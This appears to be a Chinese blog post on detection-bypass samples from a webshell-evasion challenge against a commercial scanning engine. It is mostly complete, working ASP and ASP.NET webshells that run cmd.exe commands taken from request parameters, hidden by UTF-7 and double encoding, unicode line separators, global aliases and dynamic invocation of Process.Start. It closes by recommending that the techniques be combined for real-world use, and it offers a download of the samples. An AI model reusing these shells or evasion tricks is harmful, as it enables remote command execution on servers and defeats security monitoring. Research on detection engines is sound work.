前言

24年年底的时候参加了一下阿里云的第四届伏魔挑战赛,本着学习一下.NET的想法玩的ASP/ASP.NET赛道。但是当时一直没空,等到活动最后一天才抽出时间测试。一个晚上提交了15个绕过样本,重复了12个太惨了这就是最后一天提交的结果,后来看榜单应该都是重复的Ivan1ee师傅的,专门研究.NET的还是强。第三届我也玩了提交17个样本重复5个通过12个,这篇文章挑部分绕过样本进行思路分析。

ASP

asp样本分享下面两个,绕过思路为前导零、双重编码。

前导零

asp支持将代码utf-7编码,于是构造出下面shell样本进行测试。

<%@codepage=65000%>
<%
+AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ-
%>

可能因为是很久以前的公开手法直接被杀,注意到codepage=65000推测这里65000可能采用数字类型进行解析,在某些语言里有一种技巧在解析数字时会丢弃前导零。比如065000会被解析为65000。于是将codepage写为065000发现也可以成功解析,多次尝试以后发现最多写成0000065000可以识别成功。猜测原因是Long类型最长为十位数字,在解析之前对大于十位的数字直接报错或者不解析。于是提交如下样本成功绕过伏魔引擎。

<%@codepage=0000065000%>
<%
+AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ-
%>

双重编码

asp支持将代码VBScript.Encode编码。

<%@ LANGUAGE = "VBScript.Encode"%>
<%
#@~^LwAAAA==]A/2KxU+R1W93wmon'+*TT8)27CVvD+$;n/D`r3rVsnMJb#wg8AAA==^#~@
%>

直接提交依然被杀。注意到VBScript.Encodeutf-7编码不是同一个配置项,于是想到能不能使用双重编码绕过,测试以后发现可以也能够被正确解析。绕过样本如下先使用VBScript.Encode编码内容再使用utf-7编码即可。

<%@ LANGUAGE = "VBScript.Encode" codepage=65000%>
<%
+ACM-+AEA-+AH4-+AF4-LwAAAA+AD0-+AD0-+AF0-A/2KxU+-R1W93wmon'+-+ACo-TT8)27CVvD+-+ACQ-+ADs-n/D+AGA-r3rVsnMJb+ACM-wg8AAA+AD0-+AD0-+AF4-+ACM-+AH4-+AEA-
%>

ASP.NET

aspx的样本第三届的时候比较容易绕过,有很多污点源都没打标这类就不写了。主要写两类特殊语法、危险方法替换。

特殊语法

以前看别人绕jsp学到的使用注释//\u000a换行进行来绕过

<%@ Page Language="Jscript"%>
<%
var p = eval("//\u000a\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>

测试发现可以解析但是伏魔引擎检测为webshell查阅资料发现使用\u2029段落分隔符也可以起到换行的作用。测试可以解析并绕过。

<%@ Page Language="Jscript"%>
<%
var p = eval("//\u2029\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>

aspx支持下面这种语法,将多个<%...%>之间的代码相加。

<%@ Page Language="Jscript"%>
<%
var p = eval(""%><%+"\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>

测试发现无法绕过,在%><%添加换行成功绕过。

<%@ Page Language="Jscript"%>
<%
var p = eval(""%>
<%+"\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>

global::C#中的全局命名空间别名,它允许你明确地引用全局命名空间中的类型,避免命名冲突。所以可以写出下面的绕过样本。

<%@ Page Language="c#"%>
<%
global::System.Diagnostics.ProcessStartInfo psi = new global::System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Params.Get("g");
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
global::System.Diagnostics.Process p = global::System.Diagnostics.Process.Start(psi);
System.IO.StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write(s);
%>

危险方法替换

我们先写出一个经典的aspx调用WScript.Shell执行命令的webshell来进行变换。

<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = new ActiveXObject("WScript.Shell").Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
Str = Str + OutStream.readAll();
}
Response.Write("<pre>"+Str+"</pre>");
%>

这个样本毫无疑问被杀,经过FUZZ发现关键点在于ActiveXObjectWScript.Shell不能同时出现。于是写出5种不同的绕过方式。

使用unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")代替WScript.Shell

<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = new ActiveXObject(unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")).Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
Str = Str + OutStream.readAll();
}
Response.Write("<pre>"+Str+"</pre>");
%>

Jscript中使用GetObject创建WScript.Shell对象

<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) { Str = Str + OutStream.readAll(); }
Response.Write("<pre>"+Str+"</pre>");
%>

C#中使用GetTypeFromCLSID来创建WScript.Shell对象

<%@ Page Language="C#" %>
<%
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
try
{
// 使用 System.Type.GetTypeFromCLSID 来创建 WScript.Shell 对象
Type shellType = Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8"));
dynamic shell = Activator.CreateInstance(shellType);
dynamic exec = shell.Exec("cmd.exe /c " + command);
dynamic stdout = exec.StdOut;
string output = "";
while (!stdout.AtEndOfStream)
{
output += stdout.ReadLine() + "\n";
}
Response.Write(output);
}
catch (Exception ex)
{
Response.Write($"Error: {Server.HtmlEncode(ex.Message)}");
}
}
else
{
Response.Write("No command");
}
%>

C#中使用GetTypeFromProgID来创建WScript.Shell对象

<%@ Page Language="C#" %>
<%
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
try
{
// 使用 GetTypeFromProgID 创建 WScript.Shell 对象
Type shellType = Type.GetTypeFromProgID("WScript.Shell");
dynamic shell = Activator.CreateInstance(shellType);
dynamic exec = shell.Exec("cmd.exe /c " + command);
dynamic stdout = exec.StdOut;
string output = "";
while (!stdout.AtEndOfStream)
{
output += stdout.ReadLine() + "\n";
} Response.Write(output);
}
catch (Exception ex)
{
Response.Write($"Error: {Server.HtmlEncode(ex.Message)}");
}
}
else
{
Response.Write("No command");
}
%>

VB中使用CreateObject来创建WScript.Shell对象

<%@ Page Language="VB" %>
<%
Dim command As String = Request.QueryString("cmd")
If Not String.IsNullOrEmpty(command) Then
Try
' 使用CreateObject创建 WScript.Shell 对象
Dim shell As Object = CreateObject("WScript.Shell")
Dim exec As Object = shell.Exec("cmd.exe /c " & command)
Dim stdout As Object = exec.StdOut
Dim output As String = ""
While Not stdout.AtEndOfStream
output &= stdout.ReadLine() & vbCrLf
End While
Response.Write(output)
Catch ex As Exception
Response.Write("Error: " & ex.Message)
End Try
Else
Response.Write("No command")
End If
%>

我们再写出一个使用System.Diagnostics.Process.Start来执行命令的经典样本。

<%@ Page Language="c#"%>
<%
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Params.Get("g");
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
System.IO.StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write(s);
%>

进过测试发现主要就是对调用System.Diagnostics.Process.Start方法进行了检测,传统思路就是通过反射来获取Start方法然后执行。进过测试对反射检测较为严格,于是转为寻找可以实现类似反射效果的方法。找到4种类似方法可以绕过。

JScript中使用Function.apply动态调用Start方法

<%@ Page Language="JScript" %>
<%
var userCommand = Request.Params["g"];
if (userCommand != null && userCommand != "") {
try {
var psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + userCommand;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
var process = new System.Diagnostics.Process();
process.StartInfo = psi;
// 使用 Function.apply 动态调用 Start 方法
process.Start.apply(process, []);
var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
Response.Write(Server.HtmlEncode(output));
} catch (ex) {
Response.Write("Error: " + Server.HtmlEncode(ex.Message));
}
} else {
Response.Write("No command");
}
%>

VB中委托绑定Start方法

<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用委托绑定 Process.Start 方法
Dim startMethod As StartDelegate = AddressOf process.Start
startMethod.Invoke()
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
<script runat="server">
Public Delegate Function StartDelegate() As Boolean
</script>

VB中使用DynamicObject动态调用Start方法

<%@ Page Language="VB" %>
<%@ Import Namespace="System.Dynamic" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用 DynamicProcess 动态调用 Start 方法
Dim dynamicProcess As Object = New DynamicProcess(process)
dynamicProcess.Start()
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
<script runat="server">
Public Class DynamicProcess
Inherits DynamicObject
Private ReadOnly _process As System.Diagnostics.Process
Public Sub New(process As System.Diagnostics.Process)
_process = process
End Sub
Public Overrides Function TryInvokeMember(binder As InvokeMemberBinder, args() As Object, ByRef result As Object) As Boolean
If binder.Name = "Start" Then
result = _process.Start()
Return True
End If
Return MyBase.TryInvokeMember(binder, args, result)
End Function
End Class
</script>

VB中使用CallByName动态调用Start方法

<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用 CallByName 动态调用 Process.Start
CallByName(process, "Start", CallType.Method)
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>

总结

相对于jsp/php样本而言asp/asp.net样本的绕过还是相对比较简单,本文仅对提交的部分样本进行分析,主要绕过技术总结如下。

  1. 编码混淆:多层编码增加检测复杂度
  2. 语法变形:利用语言特性实现功能等价替换
  3. 反射替代:通过委托、动态调用等方式避开反射检测
  4. 跨语言技巧:在 C#、VB、JScript 间灵活运用不同特性

asp.net支持多种语言如VB/C#/JScript这也变相增加了webshell的查杀难度。因为仅仅是测试引擎的绕过,实战中还需使用上述手法结合Unicode编码、特殊Unicode字符、命名空间别名、反射、注释等手段进行webshell混淆以达到最佳效果。

如需上述样本进行测试研究可关注本公众号漫漫安全路,回复aspx得到下载地址。


本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

伏魔挑战赛-ASP/ASP.NET赛道10+绕过样本思路分享的更多相关文章

  1. asp.net调用前台js调用后台代码分享

    asp.net调用前台js调用后台代码分享 C#前台js调用后台代码前台js<script type="text/javascript" language="jav ...

  2. ASP,ASP.net,JSP语法、内置对象对比

    1 各自的HelloWord版本 1.1 ASP <%  Response.Write("hello asp") %> 文件名为test.asp. 1.2 ASP.ne ...

  3. ASP/ASP.NET/VB6文件上传

    1. asp asp 上传文件真的蛋疼,很麻烦,有时候就用第三方组件,或者比较复杂的写法来实现无组件上传. 测试OK的一个叫风声无组件上传类 V2.1 [Fonshen UpLoadClass Ver ...

  4. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. ubuntu14.10建立热点wifi分享给手机

    http://jingyan.baidu.com/article/363872ecd8f35d6e4ba16f97.html ubuntu14.10建立热点wifi分享给手机

  6. ASP.NET-FineUI开发实践-10

    嵌套Grid,光棍月大放送,不藏着掖着.实在写的不好,没脸藏啊~只考虑显示排序修改什么的都不管! 话说三石官网加实例了,http://fineui.com/demo/#/demo/grid/grid_ ...

  7. ASP: VS2015 + IIS Express 10 学习笔记

    首先搞清楚 ASP 与 ASP.NET 的区别(.asp与.aspx). https://msdn.microsoft.com/en-us/library/ms973813.aspx 环境配置: ht ...

  8. ASP.NET MVC 入门10、Action Filter 与 内置的Filter实现(实例-防盗链)

    于ASP.NET MVC Preview5. 前一篇中我们已经了解了Action Filter 与 内置的Filter实现,现在我们就来写一个实例.就写一个防盗链的Filter吧. 首先继承自Filt ...

  9. [转]ASP.NET MVC 入门10、Action Filter 与 内置的Filter实现(实例-防盗链)

    前一篇中我们已经了解了Action Filter 与 内置的Filter实现,现在我们就来写一个实例.就写一个防盗链的Filter吧. 首先继承自FilterAttribute类同时实现IAction ...

  10. asp.net core 系列 10 配置configuration (上)

    一.  ASP.NET Core 中的配置概述 ASP.NET Core 中的应用配置是基于键值对,由configuration 程序提供. configuration  将从各种配置源提供程序操作键 ...

随机推荐

  1. 第二次blog作业

    1.前言 这是第二次接触 Java 编程语言大题.相比第一次的电梯调度问题,这次面对航空货运管理系统时我不再迷茫.反复读题后,我很快确定了代码编辑方向,并一步步完成代码编写.航空货运管理系统难度不大但 ...

  2. 题目集8~9总结性Blog

    一.前言 对这两次题目集的总结: 这两次题目集相较于上次迭代作业来说,在题目量和难度上都做了下调.但要求我们在理解题目意思.设计好程序结构.掌握并运用知识这三方面有一定的要求.涉及到类的继承与多态,抽 ...

  3. pip安装模块提示Command "python setup.py egg_info" failed with error code 1

    报错详情: [root@k8s001 ~]# pip install kubernetes Collecting kubernetes Using cached https://files.pytho ...

  4. Java变量类型识别

    方法: 1.反射方式,成员变量的类型判断2.isInstance用法3.利用泛型识别类型一.新建测试类 import java.util.Date; import com.cxyapi.generic ...

  5. GitHub 汉化神器,2步快速解锁中文化 GitHub 界面!

    前言 你是否曾因 GitHub 的英文界面而头疼,不知道该如何上手使用?现在,通过github-chinese这款开源(GPL-3.0 license).免费的汉化插件,只需简单2步即可实现 GitH ...

  6. 一站式运维管家 ChengYing 主机接入原理解析

    之前的文章中,我们已经为大家介绍了 ChengYing 的安装原理.产品包制作.产品线部署等内容,本篇将和大家介绍一个困扰许多开发者的内容--ChengYing 主机接入.帮助所有对 ChengYin ...

  7. 好用的文档工具👉smart-doc

    好用的文档工具smart-doc smart-doc不得不说是一款非常好用的文档工具,尤其是它几乎不与项目耦合的特性十分值得所有java开发人员日常使用它~ 之前及现在用的 我从事开发以来,用过形形色 ...

  8. 开源 vGPU 方案 HAMi: core&memory 隔离测试

    本文主要对开源的 vGPU 方案 HAMi 的 GPU Core&Memory 隔离功能进行测试. 省流: HAMi vGPU 方案提供的 Core&Memory 隔离基本符合预期: ...

  9. 快速复习mybatis

    mybatis面试题 1.MyBatis特性 1) MyBatis 是支持定制化SQL.存储过程以及高级映射的优秀的持久层框架 2) MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及 ...

  10. 聊聊 RocketMQ 4.X 知识体系

    本文将系统解析 RocketMQ 4.X 的核心知识体系,希望能为读者带来有价值的思考和启发. 1 整体架构 RocketMQ 4.X 架构中包含四种角色 : 1.NameServer 名字服务是是一 ...